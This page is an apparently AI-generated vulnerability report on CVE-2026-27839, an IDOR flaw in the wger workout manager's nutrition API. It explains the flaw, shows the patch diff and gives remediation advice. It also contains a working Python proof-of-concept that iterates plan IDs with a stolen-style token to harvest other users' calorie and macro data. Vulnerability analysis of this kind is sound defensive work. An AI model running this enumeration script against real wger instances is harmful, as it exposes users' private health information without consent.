CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27839
4.30.04%

Lifting the Lid on wger: IDOR in the Nutrition API

Alon Barad
Alon Barad
Software Engineer

Feb 27, 2026·5 min read·3 visits

PoC Available

Executive Summary (TL;DR)

The wger fitness manager application failed to verify object ownership in its nutrition API endpoints. Developers used raw ORM lookups instead of framework-secure methods, allowing any logged-in user to iterate through database IDs and download the dietary habits (macros, calories) of every other user on the platform.

A classic Insecure Direct Object Reference (IDOR) vulnerability in the 'wger' workout manager allows authenticated users to access the nutritional plans of any other user. By bypassing Django REST Framework's object-level permission checks, the API serves up full macro breakdowns and caloric data for arbitrary IDs.

The Hook: You Are What You Eat (And Now I Know It)

Privacy in fitness applications is a strange beast. Most people don't mind if their friends know they hit a personal best on the bench press, but they get a little squeamish when strangers know exactly how many calories they binged on a Tuesday night. wger is a popular, open-source workout manager that handles everything from gym logs to nutritional planning.

Under the hood, wger relies heavily on the Django REST Framework (DRF), a powerful toolkit that usually handles the boring security stuff—like making sure User A can't read User B's diary—automatically. It does this through a combination of permission_classes and querysets.

However, frameworks are only magical if you actually use their spells. In CVE-2026-27839, the developers decided to go rogue in the nutrition module. Instead of letting DRF handle the bouncers at the door, they wrote a custom action that kicks the door wide open for anyone with a valid login token.

The Flaw: Bypassing the Framework

The root cause here is a tale as old as time in the Django world: ignoring self.get_object(). When you are building a ViewSet in DRF, the framework provides a standardized way to retrieve a specific record based on the URL parameter (usually the primary key, or pk).

The secure method is self.get_object(). This method does three critical things:

  1. It looks up the object.
  2. It runs the object through the ViewSet's get_queryset() method (which often limits results to the current user).
  3. It checks object-level permissions (e.g., IsOwner).

The vulnerable code in wger/nutrition/api/views.py skipped all of that. The developer manually called the database using the raw Django ORM: NutritionPlan.objects.get(pk=pk). This is the equivalent of walking past the security guard and letting yourself into the archives. The application checks if you are logged in, but it never checks if you own the file you are pulling off the shelf.

Here is a visualization of the logic failure:

By querying the model directly, the code explicitly ignores the permissions policy defined on the ViewSet.

The Code: The Smoking Gun

Let's look at the actual code diff. This is a textbook example of how a single line change switches an endpoint from "Open Season" to "Fort Knox".

The vulnerability existed in three separate endpoints: NutritionPlanViewSet, MealViewSet, and MealItemViewSet. Below is the diff for the nutritional_values action. Notice how the patch removes the direct model call and replaces it with the instance method.

> [!NOTE] > The vulnerability resides in wger/nutrition/api/views.py.

# VULNERABLE CODE (Before)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
    # Direct DB access. No permission checks applied here.
    plan = NutritionPlan.objects.get(pk=pk)
    # ... logic to calculate macros ...
    return Response(data)

In the vulnerable version, NutritionPlan.objects.get(pk=pk) simply asks the database for the record with that ID. If it exists, it returns it. It doesn't care who request.user is.

# FIXED CODE (After)
@action(detail=True, methods=['get'])
def nutritional_values(self, request, pk=None):
    # Secure access. Triggers check_object_permissions().
    plan = self.get_object()
    # ... logic to calculate macros ...
    return Response(data)

By switching to self.get_object(), the code forces DRF to run its internal security pipeline. If the get_queryset method filters by user (e.g., return NutritionPlan.objects.filter(user=self.request.user)), an attacker requesting someone else's ID will effectively get a 404 Not Found, because that ID doesn't exist within their scope.

The Exploit: Eating Someone Else's Lunch

Exploiting this is trivially easy. It requires no fancy injection techniques, no heap manipulation, and no race conditions. It is a simple iteration attack (IDOR).

Prerequisites:

  1. A valid account on the wger instance (registration is often open).
  2. A script to count numbers.

The API exposes the nutritional_values endpoint. An attacker simply needs to increment the integer ID in the URL to dump the database.

import requests
 
# Target: A vulnerable wger instance
TARGET = "https://wger.example.com"
TOKEN = "Token 7483a..." # Attacker's token
 
def steal_macros(start_id, end_id):
    headers = {"Authorization": TOKEN}
    
    print(f"[*] Starting harvest from ID {start_id} to {end_id}...")
    
    for pk in range(start_id, end_id):
        # The vulnerable endpoint
        url = f"{TARGET}/api/v2/nutritionplan/{pk}/nutritional_values/"
        
        try:
            r = requests.get(url, headers=headers)
            
            if r.status_code == 200:
                data = r.json()
                calories = data.get('energy', 0)
                protein = data.get('protein', 0)
                print(f"[+] VICTIM FOUND (Plan {pk}): {calories}kcal, {protein}g Protein")
                # Full JSON contains: carbs, sugar, fat, sodium, fiber, etc.
            elif r.status_code == 404:
                pass # ID doesn't exist
            else:
                print(f"[-] Error accessing {pk}: {r.status_code}")
                
        except Exception as e:
            print(f"[!] Connection error: {e}")
 
if __name__ == "__main__":
    steal_macros(1, 1000)

The Output: The script will output a list of valid nutrition plans. While this doesn't dump the user's password or email directly in this specific endpoint, it leaks highly personal health data. Furthermore, effectively iterating IDs allows an attacker to estimate the total user base size and activity levels of the platform.

The Fix: Trust the Framework

The fix was applied in commit 29876a1954fe959e4b58ef070170e81703dab60e. As discussed, the remediation is straightforward: stop writing raw queries inside ViewSet actions.

For Developers: If you are using Django REST Framework, memorize this rule: If you are inside a ViewSet and you need the object identified by the URL's PK, always use self.get_object().

If you absolutely must use a custom query (perhaps for performance reasons, though unlikely for single-object lookups), you must manually invoke the permission checks:

obj = MyModel.objects.get(pk=pk)
self.check_object_permissions(self.request, obj)

However, using self.get_object() is cleaner because it also respects the base queryset filtering. If your base queryset is User.objects.filter(id=request.user.id), using get_object() automatically handles the "ownership" check without needing explicit permission classes, simply because the object won't be found in the filtered list.

Official Patches

wgerGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
4.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

wger Workout Manager (nutrition module)

Affected Versions Detail

Product
Affected Versions
Fixed Version
wger
wger-project
<= 2.4Commit 29876a1954fe959e4b58ef070170e81703dab60e
AttributeDetail
CWE IDCWE-639 (IDOR)
CVSS v3.14.3 (Medium)
Attack VectorNetwork (Authenticated)
ImpactConfidentiality Loss (Low)
Affected ComponentNutritionPlanViewSet
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1592.002Gather Victim Identity Information: Health/Medical Information
Reconnaissance
T1078Valid Accounts
Initial Access
CWE-639
Insecure Direct Object Reference (IDOR)

Authorization Bypass Through User-Controlled Key

Known Exploits & Detection

GitHub Security AdvisoryAdvisory containing description and PoC logic

Vulnerability Timeline

Fix committed to master branch
2026-02-24
GHSA Advisory Published
2026-02-26
CVE Assigned
2026-02-26

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.